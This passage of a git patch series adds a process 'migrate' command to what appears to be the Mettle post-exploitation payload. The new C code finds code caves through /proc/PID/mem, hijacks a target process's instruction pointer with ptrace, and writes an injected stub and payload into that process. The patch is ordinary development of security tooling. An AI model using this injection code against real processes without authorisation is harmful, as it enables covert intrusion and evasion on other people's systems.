From bcd511a8c0635c494a5f045807972f973e18c691 Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Thu, 23 Oct 2025 11:36:30 +0200 Subject: [PATCH 01/19] Register migrate command --- mettle/src/coreapi.c | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/mettle/src/coreapi.c b/mettle/src/coreapi.c index e018e6a2..99fb453f 100644 --- a/mettle/src/coreapi.c +++ b/mettle/src/coreapi.c @@ -10,6 +10,7 @@ #include "command_ids.h" #include "extensions.h" #include "util-common.h" +#include "base_inject.h" #include #include @@ -22,6 +23,13 @@ static void add_command_id(uint32_t command_id, void *arg) struct tlv_packet **p = arg; *p = tlv_packet_add_u32(*p, TLV_TYPE_UINT, command_id); } +static struct tlv_packet *core_migrate(struct tlv_handler_ctx *ctx) +{ + + struct tlv_packet *p = tlv_packet_response_result(ctx, TLV_RESULT_SUCCESS); + + return p; +} static struct tlv_packet *core_enumextcmd(struct tlv_handler_ctx *ctx) { @@ -226,6 +234,7 @@ void tlv_register_coreapi(struct mettle *m) tlv_dispatcher_add_handler(td, COMMAND_ID_CORE_ENUMEXTCMD, core_enumextcmd, m); tlv_dispatcher_add_handler(td, COMMAND_ID_CORE_MACHINE_ID, core_machine_id, m); tlv_dispatcher_add_handler(td, COMMAND_ID_CORE_SET_UUID, core_set_uuid, m); + tlv_dispatcher_add_handler(td, COMMAND_ID_CORE_MIGRATE, core_migrate, m); tlv_dispatcher_add_handler(td, COMMAND_ID_CORE_GET_SESSION_GUID, core_get_session_guid, m); tlv_dispatcher_add_handler(td, COMMAND_ID_CORE_SET_SESSION_GUID, core_set_session_guid, m); tlv_dispatcher_add_handler(td, COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION, core_negotiate_tlv_encryption, m); From e5a87f0e9d67b1acde7f68eedd5342d05d10f1c6 Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Fri, 5 Dec 2025 09:10:41 +0100 Subject: [PATCH 02/19] Expands the migration and makes it more aligned with existing migrate command --- mettle/src/base_inject.c | 303 +++++++++++++++++++++++++++++++++++++++ mettle/src/base_inject.h | 37 +++++ mettle/src/coreapi.c | 29 +++- mettle/src/tlv_types.h | 3 + 4 files changed, 371 insertions(+), 1 deletion(-) create mode 100644 mettle/src/base_inject.c create mode 100644 mettle/src/base_inject.h diff --git a/mettle/src/base_inject.c b/mettle/src/base_inject.c new file mode 100644 index 00000000..e91cf230 --- /dev/null +++ b/mettle/src/base_inject.c @@ -0,0 +1,303 @@ +#include "base_inject.h" + +char *get_permissions_from_line(char *line) { + + int first_space = -1; + int second_space = -1; + for (size_t i = 0; i < strlen(line); i++) { + if (line[i] == ' ' && first_space == -1) { + first_space = i + 1; + } + else if (line[i] == ' ' && first_space != -1) { + second_space = i; + break; + } + } + + if (first_space != -1 && second_space != -1 && second_space > first_space) { + char *permissions = malloc(second_space - first_space + 1); + if (permissions == NULL) { + fprintf(stderr, "Could not allocate memory. Aborting.\n"); + return NULL; + } + for (size_t i = first_space, j = 0; i < (size_t)second_space; i++, j++) { + permissions[j] = line[i]; + } + permissions[second_space - first_space] = '\0'; + return permissions; + } + return NULL; + + } + + +long get_end_address_from_maps_line(char *line) { + + char *start_address = strchr(line, '-') + 1; + char *address_line = malloc(SIZE_OF_ADDRESS + 1); + memset(address_line, 0, SIZE_OF_ADDRESS + 1); + memcpy(address_line, start_address, SIZE_OF_ADDRESS); + long address = strtol(address_line, (char **) NULL, 16); + return address; +} + + +long get_start_address_from_maps_line(char *line) { + + char *address_line = malloc(SIZE_OF_ADDRESS + 1); + memset(address_line, 0, SIZE_OF_ADDRESS + 1); + memcpy(address_line, line, SIZE_OF_ADDRESS); + long address = strtol(address_line, (char **) NULL, 16); + return address; +} + + +char* itoa(int val, int base){ + + static char buf[32] = {0}; + + int i = 30; + + for(; val && i ; --i, val /= base) + + buf[i] = "0123456789abcdef"[val % base]; + + return &buf[i+1]; + +} + +unsigned long find_codecave(int pid, long start, long end, int cave_size) +{ + char mem_file_path[80]; + FILE * mem_handler; + char * mem_data; + + strcpy(mem_file_path, "/proc/"); + + strcat(mem_file_path, itoa(pid, 10)); + strcat(mem_file_path, "/mem"); + + mem_handler = fopen(mem_file_path, "r"); + fseek(mem_handler, start, SEEK_SET); + + mem_data = malloc(sizeof(char)*(int)(end-start)); + fread(mem_data,sizeof(char), (int)(end-start), mem_handler); + + fclose(mem_handler); + + int current_cave_size = 0; + + for( char * mem_byte = mem_data; mem_byte < mem_data + (end-start); mem_byte++){ + if(*mem_byte != 0x00) + { + current_cave_size = 0; + continue; + } + if(current_cave_size == cave_size) + { + printf("Found code cave: %d\n", current_cave_size); + + free(mem_data); + return start + ((unsigned long)mem_byte - (unsigned long)mem_data) - cave_size; + } + + current_cave_size++; + + } + + free(mem_data); + return 0; + +}; + +int copy_payload(int pid, unsigned long target_addr, char * payload, int payload_length, long * restore_addr) +{ + + //write payload to target file + char mem_file_path[80]; + FILE * mem_handler; + struct user_regs_struct regs; + unsigned long original_rip; + + strcpy(mem_file_path, "/proc/"); + + strcat(mem_file_path, itoa(pid, 10)); + strcat(mem_file_path, "/mem"); + + mem_handler = fopen(mem_file_path, "w+"); + fseek(mem_handler, target_addr, SEEK_SET); + + fwrite(payload, sizeof(char), payload_length, mem_handler); + + fclose(mem_handler); + + getchar(); + + //overwrite RIP using ptrace + ptrace(PTRACE_ATTACH, pid, NULL, NULL); + waitpid(pid, NULL, 0); + + ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACECLONE); + + ptrace(PTRACE_GETREGS, pid, NULL, ®s); + + original_rip = regs.rip; + *restore_addr = (long)regs.rip; + + printf("Original RIP: %lx\n", original_rip); + + regs.rip = target_addr+2; + + ptrace(PTRACE_SETREGS, pid, NULL, ®s); + + return 1; +} + +int inject_payload(int pid, long target_addr, char * payload, size_t payload_length){ + + char mem_file_path[80]; + FILE * mem_handler; + struct user_regs_struct regs; + unsigned long original_rip; + + strcpy(mem_file_path, "/proc/"); + + strcat(mem_file_path, itoa(pid, 10)); + strcat(mem_file_path, "/mem"); + + mem_handler = fopen(mem_file_path, "w+"); + fseek(mem_handler, target_addr, SEEK_SET); + + fwrite(payload, sizeof(char), payload_length, mem_handler); + + fclose(mem_handler); + + return 1; +} + +int inject_migrate_stub(int pid, char * migrate_stub, size_t migrate_stub_length, long * restore_addr){ + + FILE * maps_handler; + char maps_file_path[80]; + char * line = NULL; + size_t len = 0; + + strcpy(maps_file_path, "/proc/"); + + strcat(maps_file_path, itoa(pid, 10)); + strcat(maps_file_path, "/maps"); + + maps_handler = fopen(maps_file_path, "r"); + + char * permissions; + long start_address; + long end_address; + + while(getline(&line,&len, maps_handler) != -1) + { + printf("%s\n", line); + permissions = get_permissions_from_line(line); + + char * permission = permissions; + while(*permission != 0) + { + char permission_char = *permission; + if(permission_char == 0x78) + break; + permission++; + } + + if(*permission == 0) + continue; + + start_address = get_start_address_from_maps_line(line); + end_address = get_end_address_from_maps_line(line); + + long code_cave_address = find_codecave(pid,start_address, end_address, migrate_stub_length); + if(code_cave_address){ + printf("Found code cave at: %lx\n", code_cave_address); + getchar(); + + if(copy_payload(pid, code_cave_address, migrate_stub, migrate_stub_length, restore_addr)) + { + return 1; + } + break; + } + } + + free(maps_handler); + + return 0; +} + +void restore_parent(int pid,long original_rip) +{ + + struct user_regs_struct regs; + + ptrace(PTRACE_GETREGS, pid, NULL, ®s); + + regs.rip = original_rip; + + ptrace(PTRACE_SETREGS, pid, NULL, ®s); +} + +int migrate(int pid, char * migrate_stub, size_t migrate_stub_length, char * payload, size_t payload_length) +{ + int status; + struct user_regs_struct regs; + long restore_addr; + + //if injection fails, send detach and continue signals just in case + if(!inject_migrate_stub(pid,migrate_stub, migrate_stub_length, &restore_addr)){ + ptrace(PTRACE_CONT, pid, NULL, NULL); + ptrace(PTRACE_DETACH, pid, NULL, NULL); + return 0; + } + + ptrace(PTRACE_CONT, pid, NULL, NULL); + //ptrace(PTRACE_DETACH, pid, NULL, NULL); + + //waits for first interrupt + wait(&status); + + if(WIFSTOPPED(status) && WSTOPSIG(status) == 5) + { + + ptrace(PTRACE_GETREGS, pid, NULL, ®s); + printf("%lx\n", regs.rip); + long target_address = regs.rax; + printf("%lx\n", regs.rax); + printf("%lx\n", target_address); + printf("%lx\n", restore_addr); + + if(!inject_payload(pid, target_address, payload, payload_length)) + { + //TODO: restore data + ptrace(PTRACE_CONT, pid, NULL, NULL); + ptrace(PTRACE_DETACH, pid, NULL, NULL); + return 0; + } + + ptrace(PTRACE_CONT, pid, NULL, NULL); + wait(&status); + + if(WIFSTOPPED(status) && WSTOPSIG(status) == 5){ + restore_parent(pid, restore_addr); + + //kill(pid, SIGSTOP); + ptrace(PTRACE_CONT, pid, NULL, NULL); + ptrace(PTRACE_DETACH, pid, NULL, NULL); + + return 1; + } + + printf("[-] Error wait\n"); + return 0; + + } else{ + printf("[-] Error wait\n"); + } + return 0; +} diff --git a/mettle/src/base_inject.h b/mettle/src/base_inject.h new file mode 100644 index 00000000..f61177c7 --- /dev/null +++ b/mettle/src/base_inject.h @@ -0,0 +1,37 @@ +#include +#include +#include +#include +#include +#include + +//temporarly using PTRACE +#include +#include +#include + +#define SIZE_OF_ADDRESS 12 + + +int is_root(); + +int inject_procfs(); + +int migrate(int pid, char * migrate_stub, size_t migrate_stub_length, char * payload, size_t payload_length); +int get_process_sections(); + +unsigned long find_codecave(); + +void read_process_memory(); + +int is_readable(char * line); + +char *get_permissions_from_line(char *line); + +long get_end_address_from_maps_line(char *line); + +long get_start_address_from_maps_line(char *line); + +int copy_and_run_payload(int pid, unsigned long target_addr, char * payload, int payload_length); + +int inject_payload(int pid, long target_addr, char * payload, size_t payload_length); diff --git a/mettle/src/coreapi.c b/mettle/src/coreapi.c index 99fb453f..f9956f61 100644 --- a/mettle/src/coreapi.c +++ b/mettle/src/coreapi.c @@ -26,7 +26,34 @@ static void add_command_id(uint32_t command_id, void *arg) static struct tlv_packet *core_migrate(struct tlv_handler_ctx *ctx) { - struct tlv_packet *p = tlv_packet_response_result(ctx, TLV_RESULT_SUCCESS); + uint32_t pid; + uint32_t destination_arch; + size_t payload_length, uuid_length, stub_length; + tlv_packet_get_u32(ctx->req, TLV_TYPE_MIGRATE_PID, &pid); + tlv_packet_get_u32(ctx->req, TLV_TYPE_MIGRATE_ARCH, &destination_arch); + + char *payload = tlv_packet_get_raw(ctx->req, TLV_TYPE_MIGRATE_PAYLOAD, &payload_length); + + // payload cannot be NULL + if (!payload || payload_length == 0) + return tlv_packet_response_result(ctx, TLV_RESULT_FAILURE); + + char *uuid = tlv_packet_get_raw(ctx->req, TLV_TYPE_UUID, &uuid_length); + + char *migrate_stub = tlv_packet_get_raw(ctx->req, TLV_TYPE_MIGRATE_STUB, &stub_length); + + // stub cannot be NULL + if (!migrate_stub || stub_length == 0) + return tlv_packet_response_result(ctx, TLV_RESULT_FAILURE); + + if(migrate(pid, migrate_stub, stub_length, payload, payload_length)) + { + + struct tlv_packet *p = tlv_packet_response_result(ctx, TLV_RESULT_SUCCESS); + return p; + } + + struct tlv_packet *p = tlv_packet_response_result(ctx, TLV_RESULT_FAILURE); return p; } diff --git a/mettle/src/tlv_types.h b/mettle/src/tlv_types.h index c54ebf57..c8d070e9 100644 --- a/mettle/src/tlv_types.h +++ b/mettle/src/tlv_types.h @@ -78,6 +78,9 @@ #define TLV_TYPE_TARGET_PATH (TLV_META_TYPE_STRING | 401) #define TLV_TYPE_MIGRATE_PID (TLV_META_TYPE_UINT | 402) #define TLV_TYPE_MIGRATE_LEN (TLV_META_TYPE_UINT | 403) +#define TLV_TYPE_MIGRATE_PAYLOAD (TLV_META_TYPE_RAW | 404) +#define TLV_TYPE_MIGRATE_ARCH (TLV_META_TYPE_UINT | 405) +#define TLV_TYPE_MIGRATE_STUB (TLV_META_TYPE_RAW | 411) #define TLV_TYPE_TRANS_TYPE (TLV_META_TYPE_UINT | 430) #define TLV_TYPE_TRANS_URL (TLV_META_TYPE_STRING | 431) From 3a1d4acf1a403794c381c642697faf8a92929b7a Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Mon, 16 Feb 2026 09:50:21 +0100 Subject: [PATCH 03/19] Updates --- mettle/src/base_inject.c | 33 +++++++++++++++++---------------- mettle/src/base_inject.h | 2 +- mettle/src/coreapi.c | 22 +++++++++++++++++++--- 3 files changed, 37 insertions(+), 20 deletions(-) diff --git a/mettle/src/base_inject.c b/mettle/src/base_inject.c index e91cf230..9bcb2e54 100644 --- a/mettle/src/base_inject.c +++ b/mettle/src/base_inject.c @@ -110,7 +110,7 @@ unsigned long find_codecave(int pid, long start, long end, int cave_size) }; -int copy_payload(int pid, unsigned long target_addr, char * payload, int payload_length, long * restore_addr) +int copy_payload(int pid, unsigned long target_addr, char * payload, int payload_length, long * restore_addr, const char * uuid) { //write payload to target file @@ -131,13 +131,11 @@ int copy_payload(int pid, unsigned long target_addr, char * payload, int payload fclose(mem_handler); - getchar(); - //overwrite RIP using ptrace ptrace(PTRACE_ATTACH, pid, NULL, NULL); waitpid(pid, NULL, 0); - ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACECLONE); + //ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACECLONE); ptrace(PTRACE_GETREGS, pid, NULL, ®s); @@ -147,6 +145,7 @@ int copy_payload(int pid, unsigned long target_addr, char * payload, int payload printf("Original RIP: %lx\n", original_rip); regs.rip = target_addr+2; + regs.r15 = *uuid; ptrace(PTRACE_SETREGS, pid, NULL, ®s); @@ -175,7 +174,7 @@ int inject_payload(int pid, long target_addr, char * payload, size_t payload_len return 1; } -int inject_migrate_stub(int pid, char * migrate_stub, size_t migrate_stub_length, long * restore_addr){ +int inject_migrate_stub(int pid, char * migrate_stub, size_t migrate_stub_length, long * restore_addr, const char * uuid){ FILE * maps_handler; char maps_file_path[80]; @@ -216,9 +215,8 @@ int inject_migrate_stub(int pid, char * migrate_stub, size_t migrate_stub_length long code_cave_address = find_codecave(pid,start_address, end_address, migrate_stub_length); if(code_cave_address){ printf("Found code cave at: %lx\n", code_cave_address); - getchar(); - if(copy_payload(pid, code_cave_address, migrate_stub, migrate_stub_length, restore_addr)) + if(copy_payload(pid, code_cave_address, migrate_stub, migrate_stub_length, restore_addr, uuid)) { return 1; } @@ -243,21 +241,20 @@ void restore_parent(int pid,long original_rip) ptrace(PTRACE_SETREGS, pid, NULL, ®s); } -int migrate(int pid, char * migrate_stub, size_t migrate_stub_length, char * payload, size_t payload_length) +int migrate(int pid, char * migrate_stub, size_t migrate_stub_length, char * payload, size_t payload_length, const char * uuid) { int status; struct user_regs_struct regs; long restore_addr; //if injection fails, send detach and continue signals just in case - if(!inject_migrate_stub(pid,migrate_stub, migrate_stub_length, &restore_addr)){ + if(!inject_migrate_stub(pid,migrate_stub, migrate_stub_length, &restore_addr, uuid)){ ptrace(PTRACE_CONT, pid, NULL, NULL); ptrace(PTRACE_DETACH, pid, NULL, NULL); return 0; } - + ptrace(PTRACE_CONT, pid, NULL, NULL); - //ptrace(PTRACE_DETACH, pid, NULL, NULL); //waits for first interrupt wait(&status); @@ -279,17 +276,21 @@ int migrate(int pid, char * migrate_stub, size_t migrate_stub_length, char * pay ptrace(PTRACE_DETACH, pid, NULL, NULL); return 0; } - + ptrace(PTRACE_CONT, pid, NULL, NULL); + printf("[+] Waiting for stuff...\n"); wait(&status); - + printf("[+] Done waiting...\n"); if(WIFSTOPPED(status) && WSTOPSIG(status) == 5){ + printf("[+] Restoring stuff...\n"); restore_parent(pid, restore_addr); - //kill(pid, SIGSTOP); - ptrace(PTRACE_CONT, pid, NULL, NULL); - ptrace(PTRACE_DETACH, pid, NULL, NULL); + if(ptrace(PTRACE_DETACH, pid, NULL, NULL) == -1){ + printf("[-] Failed to detach..\n"); + return 0; + } + printf("[+] Detached, done...\n"); return 1; } diff --git a/mettle/src/base_inject.h b/mettle/src/base_inject.h index f61177c7..f756eefd 100644 --- a/mettle/src/base_inject.h +++ b/mettle/src/base_inject.h @@ -17,7 +17,7 @@ int is_root(); int inject_procfs(); -int migrate(int pid, char * migrate_stub, size_t migrate_stub_length, char * payload, size_t payload_length); +int migrate(int pid, char * migrate_stub, size_t migrate_stub_length, char * payload, size_t payload_length, const char * uuid); int get_process_sections(); unsigned long find_codecave(); diff --git a/mettle/src/coreapi.c b/mettle/src/coreapi.c index f9956f61..c18e9533 100644 --- a/mettle/src/coreapi.c +++ b/mettle/src/coreapi.c @@ -29,26 +29,42 @@ static struct tlv_packet *core_migrate(struct tlv_handler_ctx *ctx) uint32_t pid; uint32_t destination_arch; size_t payload_length, uuid_length, stub_length; + struct mettle *m = ctx->arg; + struct c2 * c2 = mettle_get_c2(m); + struct c2_transport * transport = c2_get_current_transport(c2); + struct tlv_dispatcher *td = mettle_get_tlv_dispatcher(m); tlv_packet_get_u32(ctx->req, TLV_TYPE_MIGRATE_PID, &pid); tlv_packet_get_u32(ctx->req, TLV_TYPE_MIGRATE_ARCH, &destination_arch); char *payload = tlv_packet_get_raw(ctx->req, TLV_TYPE_MIGRATE_PAYLOAD, &payload_length); + // payload cannot be NULL if (!payload || payload_length == 0) return tlv_packet_response_result(ctx, TLV_RESULT_FAILURE); - char *uuid = tlv_packet_get_raw(ctx->req, TLV_TYPE_UUID, &uuid_length); + //char *uuid = tlv_packet_get_raw(ctx->req, TLV_TYPE_UUID, &uuid_length); + const char *uuid = tlv_dispatcher_get_uuid(td,&uuid_length); char *migrate_stub = tlv_packet_get_raw(ctx->req, TLV_TYPE_MIGRATE_STUB, &stub_length); // stub cannot be NULL if (!migrate_stub || stub_length == 0) return tlv_packet_response_result(ctx, TLV_RESULT_FAILURE); - - if(migrate(pid, migrate_stub, stub_length, payload, payload_length)) + printf("Received UUID: %s\n", uuid); + + // --- DEBUG ---- + FILE *ptr; + ptr = fopen("/tmp/test.bin", "wb"); + fwrite(payload, sizeof(char), payload_length, ptr); + fclose(ptr); + // --- DEBUG ---- + + getchar(); + if(migrate(pid, migrate_stub, stub_length, payload, payload_length, uuid)) { + ev_break(mettle_get_loop(m), EVBREAK_ALL); struct tlv_packet *p = tlv_packet_response_result(ctx, TLV_RESULT_SUCCESS); return p; } From 2cdbe6ae65714d65dd942d6c2a416bfed1d4181c Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Mon, 23 Feb 2026 08:32:24 +0100 Subject: [PATCH 04/19] Adds base_inject to Makefile.am --- mettle/src/Makefile.am | 1 + 1 file changed, 1 insertion(+) diff --git a/mettle/src/Makefile.am b/mettle/src/Makefile.am index 76cd18a8..aad03638 100644 --- a/mettle/src/Makefile.am +++ b/mettle/src/Makefile.am @@ -44,6 +44,7 @@ libmettle_la_SOURCES += ringbuf.c libmettle_la_SOURCES += sha1.c libmettle_la_SOURCES += tlv.c libmettle_la_SOURCES += stdapi/stdapi.c +libmettle_la_SOURCES += base_inject.c if HOST_WIN libmettle_la_SOURCES += console-unsupported.c libmettle_la_SOURCES += inet_ntop.c inet_pton.c From 861a7278fd08be5b98ab5b94c0843c708e79770d Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Mon, 23 Feb 2026 13:06:05 +0100 Subject: [PATCH 05/19] Cleans up the code --- mettle/src/base_inject.c | 31 ++++++--------------- mettle/src/coreapi.c | 58 ++++++++++++++++------------------------ 2 files changed, 31 insertions(+), 58 deletions(-) diff --git a/mettle/src/base_inject.c b/mettle/src/base_inject.c index 9bcb2e54..d2881527 100644 --- a/mettle/src/base_inject.c +++ b/mettle/src/base_inject.c @@ -17,7 +17,6 @@ char *get_permissions_from_line(char *line) { if (first_space != -1 && second_space != -1 && second_space > first_space) { char *permissions = malloc(second_space - first_space + 1); if (permissions == NULL) { - fprintf(stderr, "Could not allocate memory. Aborting.\n"); return NULL; } for (size_t i = first_space, j = 0; i < (size_t)second_space; i++, j++) { @@ -38,6 +37,7 @@ long get_end_address_from_maps_line(char *line) { memset(address_line, 0, SIZE_OF_ADDRESS + 1); memcpy(address_line, start_address, SIZE_OF_ADDRESS); long address = strtol(address_line, (char **) NULL, 16); + free(address_line); return address; } @@ -48,6 +48,7 @@ long get_start_address_from_maps_line(char *line) { memset(address_line, 0, SIZE_OF_ADDRESS + 1); memcpy(address_line, line, SIZE_OF_ADDRESS); long address = strtol(address_line, (char **) NULL, 16); + free(address_line); return address; } @@ -81,6 +82,7 @@ unsigned long find_codecave(int pid, long start, long end, int cave_size) fseek(mem_handler, start, SEEK_SET); mem_data = malloc(sizeof(char)*(int)(end-start)); + fread(mem_data,sizeof(char), (int)(end-start), mem_handler); fclose(mem_handler); @@ -95,7 +97,6 @@ unsigned long find_codecave(int pid, long start, long end, int cave_size) } if(current_cave_size == cave_size) { - printf("Found code cave: %d\n", current_cave_size); free(mem_data); return start + ((unsigned long)mem_byte - (unsigned long)mem_data) - cave_size; @@ -134,15 +135,11 @@ int copy_payload(int pid, unsigned long target_addr, char * payload, int payload //overwrite RIP using ptrace ptrace(PTRACE_ATTACH, pid, NULL, NULL); waitpid(pid, NULL, 0); - - //ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACECLONE); ptrace(PTRACE_GETREGS, pid, NULL, ®s); original_rip = regs.rip; *restore_addr = (long)regs.rip; - - printf("Original RIP: %lx\n", original_rip); regs.rip = target_addr+2; regs.r15 = *uuid; @@ -194,7 +191,6 @@ int inject_migrate_stub(int pid, char * migrate_stub, size_t migrate_stub_length while(getline(&line,&len, maps_handler) != -1) { - printf("%s\n", line); permissions = get_permissions_from_line(line); char * permission = permissions; @@ -208,13 +204,14 @@ int inject_migrate_stub(int pid, char * migrate_stub, size_t migrate_stub_length if(*permission == 0) continue; - + + free(permissions); + start_address = get_start_address_from_maps_line(line); end_address = get_end_address_from_maps_line(line); long code_cave_address = find_codecave(pid,start_address, end_address, migrate_stub_length); if(code_cave_address){ - printf("Found code cave at: %lx\n", code_cave_address); if(copy_payload(pid, code_cave_address, migrate_stub, migrate_stub_length, restore_addr, uuid)) { @@ -263,42 +260,30 @@ int migrate(int pid, char * migrate_stub, size_t migrate_stub_length, char * pay { ptrace(PTRACE_GETREGS, pid, NULL, ®s); - printf("%lx\n", regs.rip); long target_address = regs.rax; - printf("%lx\n", regs.rax); - printf("%lx\n", target_address); - printf("%lx\n", restore_addr); if(!inject_payload(pid, target_address, payload, payload_length)) { - //TODO: restore data ptrace(PTRACE_CONT, pid, NULL, NULL); ptrace(PTRACE_DETACH, pid, NULL, NULL); return 0; } ptrace(PTRACE_CONT, pid, NULL, NULL); - printf("[+] Waiting for stuff...\n"); wait(&status); - printf("[+] Done waiting...\n"); + if(WIFSTOPPED(status) && WSTOPSIG(status) == 5){ - printf("[+] Restoring stuff...\n"); restore_parent(pid, restore_addr); if(ptrace(PTRACE_DETACH, pid, NULL, NULL) == -1){ - printf("[-] Failed to detach..\n"); return 0; } - printf("[+] Detached, done...\n"); return 1; } - printf("[-] Error wait\n"); return 0; - } else{ - printf("[-] Error wait\n"); - } + } return 0; } diff --git a/mettle/src/coreapi.c b/mettle/src/coreapi.c index c18e9533..f6867216 100644 --- a/mettle/src/coreapi.c +++ b/mettle/src/coreapi.c @@ -27,51 +27,39 @@ static struct tlv_packet *core_migrate(struct tlv_handler_ctx *ctx) { uint32_t pid; - uint32_t destination_arch; - size_t payload_length, uuid_length, stub_length; + uint32_t destination_arch; + size_t payload_length, uuid_length, stub_length; struct mettle *m = ctx->arg; - struct c2 * c2 = mettle_get_c2(m); - struct c2_transport * transport = c2_get_current_transport(c2); + struct c2 * c2 = mettle_get_c2(m); + struct c2_transport * transport = c2_get_current_transport(c2); struct tlv_dispatcher *td = mettle_get_tlv_dispatcher(m); tlv_packet_get_u32(ctx->req, TLV_TYPE_MIGRATE_PID, &pid); tlv_packet_get_u32(ctx->req, TLV_TYPE_MIGRATE_ARCH, &destination_arch); char *payload = tlv_packet_get_raw(ctx->req, TLV_TYPE_MIGRATE_PAYLOAD, &payload_length); - - - // payload cannot be NULL - if (!payload || payload_length == 0) - return tlv_packet_response_result(ctx, TLV_RESULT_FAILURE); - - //char *uuid = tlv_packet_get_raw(ctx->req, TLV_TYPE_UUID, &uuid_length); - const char *uuid = tlv_dispatcher_get_uuid(td,&uuid_length); + // payload cannot be NULL + if (!payload || payload_length == 0) + return tlv_packet_response_result(ctx, TLV_RESULT_FAILURE); + + //char *uuid = tlv_packet_get_raw(ctx->req, TLV_TYPE_UUID, &uuid_length); + const char *uuid = tlv_dispatcher_get_uuid(td,&uuid_length); char *migrate_stub = tlv_packet_get_raw(ctx->req, TLV_TYPE_MIGRATE_STUB, &stub_length); - - // stub cannot be NULL - if (!migrate_stub || stub_length == 0) - return tlv_packet_response_result(ctx, TLV_RESULT_FAILURE); - printf("Received UUID: %s\n", uuid); - - // --- DEBUG ---- - FILE *ptr; - ptr = fopen("/tmp/test.bin", "wb"); - fwrite(payload, sizeof(char), payload_length, ptr); - fclose(ptr); - // --- DEBUG ---- - - getchar(); - if(migrate(pid, migrate_stub, stub_length, payload, payload_length, uuid)) - { - - ev_break(mettle_get_loop(m), EVBREAK_ALL); - struct tlv_packet *p = tlv_packet_response_result(ctx, TLV_RESULT_SUCCESS); - return p; - } - + + // stub cannot be NULL + if (!migrate_stub || stub_length == 0) + return tlv_packet_response_result(ctx, TLV_RESULT_FAILURE); + + if(migrate(pid, migrate_stub, stub_length, payload, payload_length, uuid)) + { + ev_break(mettle_get_loop(m), EVBREAK_ALL); + struct tlv_packet *p = tlv_packet_response_result(ctx, TLV_RESULT_SUCCESS); + return p; + } + struct tlv_packet *p = tlv_packet_response_result(ctx, TLV_RESULT_FAILURE); - return p; + return p; } static struct tlv_packet *core_enumextcmd(struct tlv_handler_ctx *ctx) From c77cd469795edf8ec8c00b687eab837d885a0371 Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Mon, 23 Feb 2026 13:18:14 +0100 Subject: [PATCH 06/19] Removes redundant variable, adds struct definition --- mettle/src/base_inject.c | 3 --- mettle/src/base_inject.h | 32 +++++++++++++++++++++++++++++++- 2 files changed, 31 insertions(+), 4 deletions(-) diff --git a/mettle/src/base_inject.c b/mettle/src/base_inject.c index d2881527..9678d538 100644 --- a/mettle/src/base_inject.c +++ b/mettle/src/base_inject.c @@ -118,7 +118,6 @@ int copy_payload(int pid, unsigned long target_addr, char * payload, int payload char mem_file_path[80]; FILE * mem_handler; struct user_regs_struct regs; - unsigned long original_rip; strcpy(mem_file_path, "/proc/"); @@ -138,7 +137,6 @@ int copy_payload(int pid, unsigned long target_addr, char * payload, int payload ptrace(PTRACE_GETREGS, pid, NULL, ®s); - original_rip = regs.rip; *restore_addr = (long)regs.rip; regs.rip = target_addr+2; @@ -154,7 +152,6 @@ int inject_payload(int pid, long target_addr, char * payload, size_t payload_len char mem_file_path[80]; FILE * mem_handler; struct user_regs_struct regs; - unsigned long original_rip; strcpy(mem_file_path, "/proc/"); diff --git a/mettle/src/base_inject.h b/mettle/src/base_inject.h index f756eefd..9ccc3d7d 100644 --- a/mettle/src/base_inject.h +++ b/mettle/src/base_inject.h @@ -6,12 +6,42 @@ #include //temporarly using PTRACE -#include #include #include #define SIZE_OF_ADDRESS 12 +struct user_regs_struct +{ + unsigned long r15; + unsigned long r14; + unsigned long r13; + unsigned long r12; + unsigned long rbp; + unsigned long rbx; + unsigned long r11; + unsigned long r10; + unsigned long r9; + unsigned long r8; + unsigned long rax; + unsigned long rcx; + unsigned long rdx; + unsigned long rsi; + unsigned long rdi; + unsigned long orig_rax; + unsigned long rip; + unsigned long cs; + unsigned long eflags; + unsigned long rsp; + unsigned long ss; + unsigned long fs_base; + unsigned long gs_base; + unsigned long ds; + unsigned long es; + unsigned long fs; + unsigned long gs; +}; + int is_root(); From 8687503e3815be6fa7fe49c6f3dd0fb3fe251c3f Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Fri, 13 Mar 2026 10:58:05 +0100 Subject: [PATCH 07/19] Updates migrate logic, adds checks --- mettle/src/base_inject.c | 421 +++++++++++++++++++++++++-------------- mettle/src/base_inject.h | 36 ++-- mettle/src/coreapi.c | 47 +++-- 3 files changed, 310 insertions(+), 194 deletions(-) diff --git a/mettle/src/base_inject.c b/mettle/src/base_inject.c index 9678d538..0654f7e6 100644 --- a/mettle/src/base_inject.c +++ b/mettle/src/base_inject.c @@ -1,5 +1,48 @@ #include "base_inject.h" + +int is_root() +{ + return getuid() == 0; +} + +int get_yama_ptrace_scope() +{ + char * ptrace_scope_path = "/proc/sys/kernel/yama/ptrace_scope"; + char ptrace_scope_value = 0; + FILE * ptrace_scope_handler = fopen(ptrace_scope_path, "r"); + + if(ptrace_scope_handler == NULL) + { + return -1; + } + + fscanf(ptrace_scope_handler, "%c", &ptrace_scope_value); + fclose(ptrace_scope_handler); + + return ptrace_scope_value - '0'; +} + +int migrate_support() +{ + char yama_scope = get_yama_ptrace_scope(); + + if(yama_scope == 0) + { + return 1; + } + + if(yama_scope == 1 || yama_scope == 2) + { + if(is_root()) + return 1; + else + return 0; + } + + return 0; +} + char *get_permissions_from_line(char *line) { int first_space = -1; @@ -67,114 +110,16 @@ char* itoa(int val, int base){ } -unsigned long find_codecave(int pid, long start, long end, int cave_size) -{ - char mem_file_path[80]; - FILE * mem_handler; - char * mem_data; - - strcpy(mem_file_path, "/proc/"); - - strcat(mem_file_path, itoa(pid, 10)); - strcat(mem_file_path, "/mem"); - - mem_handler = fopen(mem_file_path, "r"); - fseek(mem_handler, start, SEEK_SET); - - mem_data = malloc(sizeof(char)*(int)(end-start)); - - fread(mem_data,sizeof(char), (int)(end-start), mem_handler); - - fclose(mem_handler); - - int current_cave_size = 